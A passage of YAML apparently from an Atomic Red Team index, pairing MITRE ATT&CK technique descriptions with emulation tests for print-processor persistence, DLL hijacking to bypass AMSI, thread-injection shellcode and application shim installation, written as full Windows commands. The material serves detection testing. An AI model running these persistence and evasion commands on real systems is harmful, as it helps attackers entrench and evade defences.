        url: https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors
      - source_name: ESET PipeMon May 2020
        description: Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti
          Group. Retrieved August 24, 2020.
        url: https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.012
    atomic_tests:
    - name: Print Processors
      auto_generated_guid: f7d38f47-c61b-47cc-a59d-fc0368f47ed0
      description: |
        Establishes persistence by creating a new print processor registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors.
        The new print processor will point to a DLL which will be loaded by the spooler service after a reboot. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful.

        Note: The test assumes a x64 Windows operating system.

        The payload source code is based on a blog post by stmxcsr: [https://stmxcsr.com/persistence/print-processor.html](https://stmxcsr.com/persistence/print-processor.html)
      supported_platforms:
      - windows
      input_arguments:
        restart:
          description: set to 1 if you want the computer to reboot as part of the
            test
          type: integer
          default: 0
      executor:
        command: |
          if( $(get-service -Name spooler).StartType -eq "Disabled") {Set-Service -Name "spooler" -StartupType Automatic}
          net stop spooler
          Copy-Item "$PathToAtomicsFolder\T1547.012\bin\AtomicTest.dll" C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll
          reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" /v "Driver" /d "AtomicTest.dll" /t REG_SZ /f
          net start spooler
          if(#{restart}){
            Restart-Computer
          }
        cleanup_command: |
          net stop spooler
          rm -force C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll -ErrorAction SilentlyContinue
          rm -force C:\Users\Public\AtomicTest.txt -ErrorAction SilentlyContinue
          remove-item "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" -Force -ErrorAction SilentlyContinue
          net start spooler
        name: powershell
        elevation_required: true
  T1574.001:
    technique:
      modified: '2024-04-18T22:54:54.668Z'
      name: 'Hijack Execution Flow: DLL Search Order Hijacking'
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.

        There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)

        Phantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.

        Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)

        If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      - Marina Liang
      - Will Alexander
      - Ami Holeston
      x_mitre_deprecated: false
      x_mitre_detection: Monitor file systems for moving, renaming, replacing, or
        modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared
        with past behavior) that do not correlate with known software, patches, etc.,
        are suspicious. Monitor DLLs loaded into a process and detect DLLs that have
        the same file name but abnormal paths. Modifications to or creation of `.manifest`
        and `.local` redirection files that do not correlate with software updates
        are suspicious.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34
      created: '2020-03-13T18:11:08.357Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/001
        external_id: T1574.001
      - source_name: Adversaries Hijack DLLs
        description: CrowdStrike, Falcon OverWatch Team. (2022, December 30). Retrieved
          October 19, 2023.
        url: https://www.crowdstrike.com/blog/4-ways-adversaries-hijack-dlls/
      - source_name: FireEye Hijacking July 2010
        description: Harbour, N. (2010, July 15). Malware Persistence without the
          Windows Registry. Retrieved November 17, 2020.
        url: https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html
      - source_name: FireEye fxsst June 2011
        description: Harbour, N. (2011, June 3). What the fxsst?. Retrieved November
          17, 2020.
        url: https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html
      - source_name: Microsoft Security Advisory 2269637
        description: Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved
          March 13, 2020.
        url: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637
      - source_name: Microsoft Dynamic-Link Library Redirection
        description: Microsoft. (2018, May 31). Dynamic-Link Library Redirection.
          Retrieved March 13, 2020.
        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN
      - source_name: Microsoft Dynamic Link Library Search Order
        description: Microsoft. (2018, May 31). Dynamic-Link Library Search Order.
          Retrieved November 30, 2014.
        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN
      - source_name: Microsoft Manifests
        description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
        url: https://msdn.microsoft.com/en-US/library/aa375365
      - source_name: FireEye DLL Search Order Hijacking
        description: Nick Harbour. (2010, September 1). DLL Search Order Hijacking
          Revisited. Retrieved March 13, 2020.
        url: https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html
      - source_name: OWASP Binary Planting
        description: OWASP. (2013, January 30). Binary planting. Retrieved June 7,
          2016.
        url: https://www.owasp.org/index.php/Binary_planting
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1574.001
    atomic_tests:
    - name: DLL Search Order Hijacking - amsi.dll
      auto_generated_guid: 8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3
      description: |
        Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)
        https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/

        Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.
      supported_platforms:
      - windows
      executor:
        command: |
          copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe
          copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
          %APPDATA%\updater.exe -Command exit
        cleanup_command: |
          del %APPDATA%\updater.exe >nul 2>&1
          del %APPDATA%\amsi.dll >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Phantom Dll Hijacking - WinAppXRT.dll
      auto_generated_guid: 46ed938b-c617-429a-88dc-d49b5c9ffedb
      description: ".NET components (a couple of DLLs loaded anytime .NET apps are
        executed) when they are loaded they look for an environment variable called
        APPX_PROCESS\nSetting the environmental variable and dropping the phantom
        WinAppXRT.dll in e.g. c:\\windows\\system32 (or any other location accessible
        via PATH) will ensure the \nWinAppXRT.dll is loaded everytime user launches
        an application using .NET.\n\nUpon successful execution, amsi.dll will be
        copied and renamed to WinAppXRT.dll and then WinAppXRT.dll will be copied
        to system32 folder for loading during execution of any .NET application.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
          ren %APPDATA%\amsi.dll WinAppXRT.dll
          copy %APPDATA%\WinAppXRT.dll %windir%\System32\WinAppXRT.dll
          reg add "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /t REG_EXPAND_SZ /d "1" /f
        cleanup_command: |
          reg delete "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /f
          del %windir%\System32\WinAppXRT.dll
          del %APPDATA%\WinAppXRT.dll
        name: command_prompt
        elevation_required: true
  T1574.014:
    technique:
      modified: '2024-04-18T15:03:32.158Z'
      name: AppDomainManager
      description: "Adversaries may execute their own malicious payloads by hijacking
        how the .NET `AppDomainManager` loads assemblies. The .NET framework uses
        the `AppDomainManager` class to create and manage one or more isolated runtime
        environments (called application domains) inside a process to host the execution
        of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run
        as .NET code) may be loaded into an application domain as executable code.(Citation:
        Microsoft App Domains) \n\nKnown as \"AppDomainManager injection,\" adversaries
        may execute arbitrary code by hijacking how .NET applications load assemblies.
        For example, malware may create a custom application domain inside a target
        process to load and execute an arbitrary assembly. Alternatively, configuration
        files (`.config`) or process environment variables that define .NET runtime
        settings may be tampered with to instruct otherwise benign .NET applications
        to load a malicious assembly (identified by name) into the target process.(Citation:
        PenTestLabs AppDomainManagerInject)(Citation: PwC Yellow Liderc)(Citation:
        Rapid7 AppDomain Manager Injection)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Thomas B
      - Ivy Bostock
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'File: File Creation'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8
      created: '2024-03-28T15:36:34.141Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/014
        external_id: T1574.014
      - source_name: PenTestLabs AppDomainManagerInject
        description: Administrator. (2020, May 26). APPDOMAINMANAGER INJECTION AND
          DETECTION. Retrieved March 28, 2024.
        url: https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/
      - source_name: Microsoft App Domains
        description: Microsoft. (2021, September 15). Application domains. Retrieved
          March 28, 2024.
        url: https://learn.microsoft.com/dotnet/framework/app-domains/application-domains
      - source_name: PwC Yellow Liderc
        description: PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships
          its scripts and delivers IMAPLoader malware. Retrieved March 29, 2024.
        url: https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html
      - source_name: Rapid7 AppDomain Manager Injection
        description: 'Spagnola, N. (2023, May 5). AppDomain Manager Injection: New
          Techniques For Red Teams. Retrieved March 29, 2024.'
        url: https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1098.006:
    technique:
      modified: '2023-10-16T17:51:35.865Z'
      name: Additional Container Cluster Roles
      description: "An adversary may add additional roles or permissions to an adversary-controlled
        user or service account to maintain persistent access to a container orchestration
        system. For example, an adversary with sufficient permissions may create a
        RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes
        account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023)
        Where attribute-based access control (ABAC) is in use, an adversary with sufficient
        permissions may modify a Kubernetes ABAC policy to give the target account
        additional permissions.(Citation: Kuberentes ABAC)\n \nThis account modification
        may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136)
        or other malicious account activity. Adversaries may also modify existing
        [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have
        compromised.  \n\nNote that where container orchestration systems are deployed
        in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes
        Service, and Azure Kubernetes Service, cloud-based  role-based access control
        (RBAC) assignments or ABAC policies can often be used in place of or in addition
        to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation:
        AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes
        Service Service Accounts) In these cases, this technique may be used in conjunction
        with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Containers
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'User Account: User Account Modification'
      type: attack-pattern
      id: attack-pattern--35d30338-5bfa-41b0-a170-ec06dfd75f64
      created: '2023-07-14T14:01:50.806Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1098/006
        external_id: T1098.006
      - source_name: AWS EKS IAM Roles for Service Accounts
        description: Amazon Web Services. (n.d.). IAM roles for service accounts.
          Retrieved July 14, 2023.
        url: https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html
      - source_name: Google Cloud Kubernetes IAM
        description: Google Cloud. (n.d.). Create IAM policies. Retrieved July 14,
          2023.
        url: https://cloud.google.com/kubernetes-engine/docs/how-to/iam
      - source_name: Kuberentes ABAC
        description: Kuberenets. (n.d.). Using ABAC Authorization. Retrieved July
          14, 2023.
        url: https://kubernetes.io/docs/reference/access-authn-authz/abac/
      - source_name: Kubernetes RBAC
        description: Kubernetes. (n.d.). Role Based Access Control Good Practices.
          Retrieved March 8, 2023.
        url: https://kubernetes.io/docs/concepts/security/rbac-good-practices/
      - source_name: Aquasec Kubernetes Attack 2023
        description: Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever
          Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14,
          2023.
        url: https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters
      - source_name: Microsoft Azure Kubernetes Service Service Accounts
        description: Microsoft Azure. (2023, April 28). Access and identity options
          for Azure Kubernetes Service (AKS). Retrieved July 14, 2023.
        url: https://learn.microsoft.com/en-us/azure/aks/concepts-identity
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1053:
    technique:
      modified: '2024-03-01T15:29:46.832Z'
      name: Scheduled Task/Job
      description: |-
        Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)

        Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Prashant Verma, Paladion
      - Leo Loobeek, @leoloobeek
      - Travis Smith, Tripwire
      - Alain Homewood, Insomnia Security
      - Andrew Northern, @ex_raritas
      - Bryan Campbell, @bry_campbell
      - Zachary Abzug, @ZackDoesML
      - Selena Larson, @selenalarson
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor scheduled task creation from common utilities using
        command-line invocation. Legitimate scheduled tasks may be created during
        installation of new software or through system administration functions. Look
        for changes to tasks that do not correlate with known software, patch cycles,
        etc. \n\nSuspicious program execution through scheduled tasks may show up
        as outlier processes that have not been seen before when compared against
        historical data. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Containers
      x_mitre_version: '2.3'
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Container: Container Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      x_mitre_effective_permissions:
      - SYSTEM
      - Administrator
      - User
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
      created: '2017-05-31T21:30:46.977Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1053
        external_id: T1053
      - source_name: ProofPoint Serpent
        description: Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New
          Backdoor Targets French Entities with Unique Attack Chain. Retrieved April
          11, 2022.
        url: https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain
      - source_name: TechNet Task Scheduler Security
        description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved
          June 8, 2016.
        url: https://technet.microsoft.com/en-us/library/cc785125.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1055.003:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6
      type: attack-pattern
      created: '2020-01-14T01:28:32.166Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.003
        url: https://attack.mitre.org/techniques/T1055/003
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      modified: '2022-04-25T14:00:00.188Z'
      name: Thread Execution Hijacking
      description: "Adversaries may inject malicious code into hijacked processes
        in order to evade process-based defenses as well as possibly elevate privileges.
        Thread Execution Hijacking is a method of executing arbitrary code in the
        address space of a separate live process. \n\nThread Execution Hijacking is
        commonly performed by suspending an existing process then unmapping/hollowing
        its memory, which can then be replaced with malicious code or the path to
        a DLL. A handle to an existing victim process is first created with native
        Windows API calls such as <code>OpenThread</code>. At this point the process
        can be suspended then written to, realigned to the injected code, and resumed
        via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>,
        <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation:
        Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012)
        but targets an existing process rather than creating a process in a suspended
        state.  \n\nRunning code in the context of another process may allow access
        to the process's memory, system/network resources, and possibly elevated privileges.
        Execution via Thread Execution Hijacking may also evade detection from security
        products since the execution is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        and those that can be used to modify memory within another process, such as
        <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for
        this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Modification'
      - 'Process: Process Access'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1055.003
    atomic_tests:
    - name: Thread Execution Hijacking
      auto_generated_guid: 578025d5-faa9-4f6d-8390-aae527d503e1
      description: 'This test injects a MessageBox shellcode generated by msfvenom
        in Notepad.exe using Thread Execution Hijacking. When successful, a message
        box will appear with the "Atomic Red Team" caption after one or two seconds. '
      supported_platforms:
      - windows
      executor:
        command: |-
          $notepad = Start-Process notepad -passthru
          Start-Process "$PathToAtomicsFolder\T1055.003\bin\InjectContext.exe"
          Start-Sleep -Seconds 5
          Stop-Process $notepad.id
        name: powershell
  T1546.011:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83
      type: attack-pattern
      created: '2020-01-24T14:56:24.231Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1546.011
        url: https://attack.mitre.org/techniques/T1546/011
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - source_name: FireEye Application Shimming
        url: http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf
        description: Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved
          May 4, 2020.
      - url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
        description: Pierce, Sean. (2015, November). Defending Against Malicious Application
          Compatibility Shims. Retrieved June 22, 2017.
        source_name: Black Hat 2015 App Shim
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Event Triggered Execution: Application Shimming'
      description: "Adversaries may establish persistence and/or elevate privileges
        by executing malicious content triggered by application shims. The Microsoft
        Windows Application Compatibility Infrastructure/Framework (Application Shim)
        was created to allow for backward compatibility of software as the operating
        system codebase changes over time. For example, the application shimming feature
        allows developers to apply fixes to applications (without rewriting code)
        that were created for Windows XP so that it will work with Windows 10. (Citation:
        Elastic Process Injection July 2017)\n\nWithin the framework, shims are created
        to act as a buffer between the program (or more specifically, the Import Address
        Table) and the Windows OS. When a program is executed, the shim cache is referenced
        to determine if the program requires the use of the shim database (.sdb).
        If so, the shim database uses hooking to redirect the code as necessary in
        order to communicate with the OS. \n\nA list of all shims currently installed
        by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>
        and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom
        databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>
        and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo
        keep shims secure, Windows designed them to run in user mode so they cannot
        modify the kernel and you must have administrator privileges to install a
        shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)
        (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data
        Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH),
        and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims
        may allow an adversary to perform several malicious acts such as elevate privileges,
        install backdoors, disable defenses like Windows Defender, etc. (Citation:
        FireEye Application Shimming) Shims can also be abused to establish persistence
        by continuously being invoked by affected programs."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):

        * Shim-Process-Scanner - checks memory of every running process for any shim flags
        * Shim-Detector-Lite - detects installation of custom shim databases
        * Shim-Guard - monitors registry for any shim installations
        * ShimScanner - forensic tool to find active shims in memory
        * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)

        Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1546.011
    atomic_tests:
    - name: Application Shim Installation
      auto_generated_guid: 9ab27e22-ee62-4211-962b-d36d9a0e6a18
      description: "Install a shim database. This technique is used for privilege
        escalation and bypassing user access control.\nUpon execution, \"Installation
        of AtomicShim complete.\" will be displayed. To verify the shim behavior,
        run \nthe AtomicTest.exe from the <PathToAtomicsFolder>\\\\T1546.011\\\\bin
        directory. You should see a message box appear\nwith \"Atomic Shim DLL Test!\"
        as defined in the AtomicTest.dll. To better understand what is happening,
        review\nthe source code files is the <PathToAtomicsFolder>\\\\T1546.011\\\\src
        directory.\n"
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: Path to the shim database file
          type: string
          default: PathToAtomicsFolder\T1546.011\bin\AtomicShimx86.sdb
      dependency_executor_name: powershell
      dependencies:
      - description: 'Shim database file must exist on disk at specified location
          (#{file_path})

          '
        prereq_command: 'if (Test-Path "#{file_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory (split-path "#{file_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicShimx86.sdb" -OutFile "#{file_path}"
      - description: 'AtomicTest.dll must exist at c:\Tools\AtomicTest.dll

          '
        prereq_command: 'if (Test-Path c:\Tools\AtomicTest.dll) {exit 0} else {exit
          1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path c:\Tools\AtomicTest.dll) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicTest.dll" -OutFile c:\Tools\AtomicTest.dll
      executor:
        command: 'sdbinst.exe "#{file_path}"

          '
        cleanup_command: 'sdbinst.exe -u "#{file_path}" >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: New shim database files created in the default shim database directory
      auto_generated_guid: aefd6866-d753-431f-a7a4-215ca7e3f13d
      description: |
        Upon execution, check the "C:\Windows\apppatch\Custom\" folder for the new shim database

        https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item "$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb" C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb
